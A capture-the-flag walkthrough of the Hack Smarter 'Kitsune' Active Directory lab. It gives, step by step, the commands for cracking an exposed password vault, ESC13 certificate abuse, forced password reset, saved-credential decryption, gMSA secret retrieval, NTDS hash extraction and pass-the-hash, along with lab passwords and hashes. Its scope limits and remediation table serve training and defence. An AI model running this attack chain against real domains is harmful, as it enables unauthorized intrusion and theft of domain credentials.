Skip to content

Kitsune — Hack Smarter Walkthrough

Spoiler warning: this walkthrough includes compromise details.

Attack path · Spoilers — expand to reveal
  1. Guest SMB access
  2. Password Safe vault
  3. ranch credentials
  4. AD CS ESC13
  5. HelpDesk permissions
  6. schlop password reset
  7. DPAPI credential recovery
  8. pebble credentials
  9. gMSA password retrieval
  10. Backup privilege abuse
  11. Administrator

Kitsune is an Easy Active Directory challenge on Hack Smarter. I started with guest access to an SMB share and eventually gained an Administrator session on the domain controller.

The first useful find was a Password Safe vault on the share. Its master password led to the ranch account, but those credentials did not give me a remote shell. The way forward was through certificate services: an ESC13 misconfiguration gave ranch access to HelpDesk permissions, which I used to reset schlop’s password. A saved credential in that user’s profile then led to pebble and a group Managed Service Account (gMSA) with enough backup access to recover the Administrator hash.

This document describes a training-lab assessment. The following boundaries apply to reproducing the walkthrough; they are author-defined lab guidance, rather than a statement of Hack Smarter’s official submission rules.

  • Perform these steps only against your assigned Kitsune instance while your lab access is valid.
  • Keep scanning, credential testing, and exploitation within the assigned target. Other participants, platform infrastructure, and unrelated systems are outside scope.
  • Avoid denial of service, unnecessary password guessing, persistence, and destructive changes. The schlop password reset below changes account state and should be limited to the disposable lab instance.
  • Treat recovered passwords, hashes, private keys, and tickets as lab secrets. Do not reuse them elsewhere. Flag values are omitted from the written walkthrough; screenshots include solution spoilers.
  • Follow the platform’s current challenge instructions and publication requirements. Confirm any required submission format or spoiler restrictions in the lab portal before distributing the report.
ItemValue
Target10.1.189.230
HostnameDC01.kitsune.local
Domainkitsune.local / KITSUNE
Operating systemWindows; domain controller identified through LDAP and RDP metadata
ObjectiveDemonstrate user access and administrative compromise
Recorded resultUser flag access followed by an Administrator WinRM session and root flag access

The address above belongs to the recorded session. Substitute the address assigned to your instance. Kerberos also requires working hostname resolution and a sufficiently synchronized clock; resolve DC01.kitsune.local to your target before using the hostname-based commands.

I started by checking which services were exposed:

Terminal window
nmap -sV -sC -vv -A -T4 -Pn 10.1.189.230

The scan returned the services below. It covered Nmap’s default 1,000 TCP ports rather than every port.

PortObserved serviceRelevance
88/tcpReported as Apache Spark by NmapLikely Kerberos in this AD context; the fingerprint alone is inconclusive
135/tcpMicrosoft RPCWindows RPC endpoint mapper
139/tcpNetBIOS session serviceWindows file-sharing support
389/tcpActive Directory LDAPDomain enumeration
445/tcpSMBShare enumeration and file access
464/tcpReported as kpasswd5?Consistent with Kerberos password services
593/tcpRPC over HTTPAdditional RPC transport
636/tcpLDAPSEncrypted directory access
3389/tcpRDPRemote desktop service
5985/tcpMicrosoft HTTPAPI / WinRMRemote PowerShell access

LDAP and RDP metadata identify DC01 in kitsune.local. The LDAP certificate names kitsune-DC01-CA as its issuer, providing an early indication of AD Certificate Services. SMB signing is enabled and required. Nmap could not identify the OS reliably, so I do not infer an exact Windows edition from that scan.

With SMB available, I checked whether the guest account could list any shares without a password:

Terminal window
nxc smb 10.1.189.230 -u 'guest' -p '' --shares
Guest enumeration reveals a readable Files share
Guest enumeration reveals a readable Files share

The Files share was readable, so I connected to see what it contained:

Terminal window
smbclient //10.1.189.230/Files -U 'guest' -N
The Files share exposes logins.psafe3
The Files share exposes logins.psafe3

I download logins.psafe3 from the SMB prompt:

get logins.psafe3

The .psafe3 extension identified a Password Safe v3 vault. After downloading it, I tried recovering the master password offline with Hashcat mode 5200 and the RockYou wordlist:

Terminal window
hashcat -m 5200 logins.psafe3 /usr/share/wordlists/rockyou.txt
Hashcat recovers the Password Safe master password
Hashcat recovers the Password Safe master password

Hashcat recovered the master password, hellokitty. I used it to open the vault:

Terminal window
pwsafe logins.psafe3
The unlocked vault contains three credential entries
The unlocked vault contains three credential entries
Vault usernamePassword
adminI#zmE{z[n3HM
ranchR@nch2026!
roota%KlRhqbuRgL

The vault contained three credential pairs, although that did not mean all three were valid domain accounts. I was able to enumerate the domain with ranch. BloodHound collection and checks against WinRM and RDP did not give me a direct session, so I turned to certificate services.

I used the ranch credentials to look for AD CS misconfigurations:

Terminal window
certipy find -u ranch@kitsune.local -p 'R@nch2026!' -dc-ip 10.1.189.230 -vulnerable -stdout
Certipy identifies the Kitsune-User template as vulnerable to ESC13
Certipy identifies the Kitsune-User template as vulnerable to ESC13

The Kitsune-User template stood out because of its enrollment permissions and its link to HelpDesk:

SettingObserved value
Certificate authoritykitsune-DC01-CA
TemplateKitsune-User
EnabledTrue
Client AuthenticationTrue
Enrollment rightsIncludes KITSUNE.LOCAL\Domain Users
Manager approvalNot required
Authorized signatures0
Minimum RSA key length4096
Issuance policy linked groupCN=HelpDesk,CN=Users,DC=kitsune,DC=local
Certipy findingESC13

ESC13 concerns an issuance policy linked to an AD group. A qualifying certificate can grant the linked group’s authorization context during certificate-based Kerberos authentication. Here, the certificate still identifies ranch; the useful change is access to permissions associated with HelpDesk. See the Certipy ESC13 documentation for the underlying mechanism.

My initial request omits an explicit key size:

Terminal window
certipy req -u ranch@kitsune.local -p 'R@nch2026!' -dc-ip 10.1.189.230 -ca kitsune-DC01-CA -template Kitsune-User
Initial certificate enrollment attempt
Initial certificate enrollment attempt
Enrollment troubleshooting before specifying the required key size
Enrollment troubleshooting before specifying the required key size

The template required a 4096-bit RSA key, so I repeated the request with that size specified:

Terminal window
certipy req -u ranch@kitsune.local -p 'R@nch2026!' -dc-ip 10.1.189.230 -ca kitsune-DC01-CA -template Kitsune-User -key-size 4096
Successful enrollment with the required 4096-bit key
Successful enrollment with the required 4096-bit key
Terminal window
certipy auth -pfx ranch.pfx -dc-ip 10.1.189.230 -domain kitsune.local

The recorded output confirms a TGT and a saved Kerberos cache:

[*] Using principal: 'ranch@kitsune.local'
[*] Got TGT
[*] Saving credential cache to 'ranch.ccache'
[*] Wrote credential cache to 'ranch.ccache'
Certificate authentication produces a Kerberos ticket for ranch
Certificate authentication produces a Kerberos ticket for ranch

I pointed subsequent Kerberos commands at the saved ticket cache:

Terminal window
export KRB5CCNAME="$(pwd)/ranch.ccache"

Using the certificate-derived ticket is central to the next step; ordinary password authentication is not equivalent to this certificate-backed authorization context.

Using HelpDesk permissions to access schlop

Section titled “Using HelpDesk permissions to access schlop”

The BloodHound relationship shows that HelpDesk has GenericAll over schlop, and schlop has a remote-access path to the target.

BloodHound shows the HelpDesk control path to schlop
BloodHound shows the HelpDesk control path to schlop

With the certificate-derived Kerberos cache selected, I reset the account’s password:

Terminal window
bloodyAD -d kitsune.local -u ranch -k --dc-ip 10.1.189.230 --host DC01.kitsune.local set password schlop 'Password123!'
Resetting schlop’s password through delegated account control
Resetting schlop’s password through delegated account control

I then connect over WinRM using the new password:

Terminal window
evil-winrm -i 10.1.189.230 -u schlop -p 'Password123!'
Remote PowerShell access as schlop
Remote PowerShell access as schlop
User flag access from the schlop session
User flag access from the schlop session

At this point, I had a working session as schlop and could access the user flag. I have left the flag value out of the report text.

Within schlop’s profile, I find C:\Users\schlop\Documents\networkAuth.cred. Its XML identifies a serialized PowerShell PSCredential, including a protected password field.

I import the credential inside the existing schlop session and retrieve its username and password:

Terminal window
$cred = Import-Clixml C:\Users\schlop\Documents\networkAuth.cred
$cred.UserName
$cred.GetNetworkCredential().Password
Importing the saved credential in schlop’s session reveals pebble’s password
Importing the saved credential in schlop’s session reveals pebble’s password

The recovered credential is:

pebble:PebbleIs47!
Screenshot

The important boundary is the execution context: recovery succeeds in the user and machine context that can decrypt the saved credential. Reading the XML alone does not expose the plaintext password. Compromising that context allows the attacker to ask PowerShell to decrypt it.

Using pebble, I query LDAP for readable gMSA passwords:

Terminal window
nxc ldap 10.1.189.230 -u pebble -p 'PebbleIs47!' --gmsa
pebble can retrieve the SVC_GMSA$ managed account secret
pebble can retrieve the SVC_GMSA$ managed account secret

The result provides an NT hash for SVC_GMSA$:

085691c182d60ab1a12466ce7b50d29d

I now had credentials for a service account. Its backup access provided the route to Administrator.

Abusing backup privileges to recover the Administrator hash

Section titled “Abusing backup privileges to recover the Administrator hash”

I run NetExec’s backup_operator module with the recovered gMSA hash:

Terminal window
nxc smb 10.1.189.230 -d kitsune.local -u 'SVC_GMSA$' -H 085691c182d60ab1a12466ce7b50d29d -M backup_operator
Backup-based extraction returns domain credential material, including the Administrator hash
Backup-based extraction returns domain credential material, including the Administrator hash

The recorded output includes an RPC access-denied error on one attempted path, followed by a successful NTDS extraction. The evidence of success is the returned domain credential material, including the Administrator NT hash:

2dffec5d0dda0cbc8bf571471641e001

Backup access to a domain controller is highly sensitive: extracting directory credential material can turn backup privileges into domain compromise.

I authenticate to WinRM with the recovered Administrator hash:

Terminal window
evil-winrm -i 10.1.189.230 -u Administrator -H 2dffec5d0dda0cbc8bf571471641e001
Pass-the-hash authentication establishes an Administrator session
Pass-the-hash authentication establishes an Administrator session
Root flag access confirms the final objective
Root flag access confirms the final objective

The WinRM connection succeeded as Administrator, and I could access the root flag.

Guest-readable SMB share
→ logins.psafe3 + weak master password
→ ranch domain credentials
→ Kitsune-User certificate with HelpDesk-linked issuance policy (ESC13)
→ Certificate-derived Kerberos ticket
→ HelpDesk GenericAll over schlop
→ Password reset + schlop WinRM session
→ Saved PowerShell credential decrypted in schlop's context
→ pebble credentials
→ Readable SVC_GMSA$ managed password
→ Backup-based domain credential extraction
→ Administrator hash + WinRM session
FindingImpact demonstratedRecommended remediation
Guest-readable credential vaultUnauthenticated users can obtain material for offline password guessingDisable unnecessary guest access and restrict share and filesystem permissions; keep password vaults out of broadly readable shares
Weak vault master passwordThe exposed vault is unlocked using a common wordlistUse a long, unique master passphrase and rotate the exposed vault credentials
ESC13 enrollment pathA low-privilege account obtains the authorization context of HelpDeskReview issuance-policy group links and template enrollment rights; remove unintended privilege-bearing links and revoke affected certificates
Excessive delegated account controlHelpDesk can reset schlop’s passwordReplace GenericAll with narrowly scoped delegation and review remote-access account permissions
Saved reusable credentialCompromise of schlop exposes pebble’s passwordRemove unnecessary stored credentials; prefer a managed identity or a narrowly scoped service account and rotate the exposed password
Broad gMSA password-read permissionspebble obtains the service account’s managed secretRestrict managed-password retrieval to required computer or service principals and review nested group access
Backup privileges on the domain controllerService-account access leads to domain credential extractionLimit backup rights to dedicated, tightly controlled identities and monitor backup operations and directory database access

I did not record cleanup in the original session notes. For a repeat run, close remote sessions, remove downloaded vault copies, certificate private keys, Kerberos caches, and extracted credential files from the assessment workspace when they are no longer needed. Treat all recovered secrets as exposed.

The password reset changes schlop’s state, and certificate issuance creates an authentication artifact. Restore the disposable environment through the platform’s reset workflow after testing. In a real assessment, coordinate account recovery, certificate revocation, credential rotation, and evidence retention with the system owner.

The attack succeeds through a sequence of permissions and credential-handling failures. A protected vault still needs restricted storage and a strong master password. Certificate enrollment must be reviewed alongside the authorization granted by issuance policies. Delegated account control, saved credentials, gMSA password-read rights, and domain-controller backup privileges each create another route across a trust boundary.

For me, the turning point was looking beyond remote login. The ranch credentials were useful because of what they could enroll for, and each account after that opened another path through the domain.